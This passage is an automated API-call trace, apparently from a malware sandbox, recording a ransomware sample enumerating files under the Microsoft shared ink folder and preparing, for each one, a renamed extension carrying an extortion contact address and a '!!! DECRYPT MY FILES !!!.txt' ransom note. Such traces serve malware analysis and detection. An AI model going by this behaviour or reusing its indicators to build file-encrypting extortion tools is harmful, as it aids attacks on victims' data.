[0114.618] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.618] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0114.618] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0114.618] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe", len=0x45 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 1 [0114.618] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe") returned 0x45 [0114.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.618] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.618] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.618] GetProcessHeap () returned 0x630000 [0114.618] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x10) returned 0x6b1208 [0114.618] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0114.619] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\") returned 1 [0114.619] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\") returned 0x39 [0114.619] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.619] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0114.619] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.619] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.619] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 1 [0114.619] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui") returned 0x48 [0114.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.620] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.620] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.620] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.620] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0114.620] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0114.620] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\") returned 1 [0114.620] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\") returned 0x39 [0114.620] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.620] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.621] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0114.621] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.621] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.621] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 1 [0114.621] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui") returned 0x48 [0114.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.622] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.622] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.622] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.622] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0114.623] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0114.623] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\", len=0x3e | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\") returned 1 [0114.623] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\") returned 0x3e [0114.623] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.623] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0114.625] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.625] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.625] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui", len=0x4d | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 1 [0114.625] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui") returned 0x4d [0114.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.626] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.626] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.626] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.626] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0114.626] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0114.626] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\") returned 1 [0114.626] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\") returned 0x39 [0114.626] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.626] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0114.627] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.627] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.627] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 1 [0114.627] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui") returned 0x48 [0114.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.627] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.627] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.628] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.628] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0114.628] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0114.628] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 1 [0114.628] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll") returned 0x3f [0114.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.628] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.628] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.628] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0114.629] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 1 [0114.629] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll") returned 0x3d [0114.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, 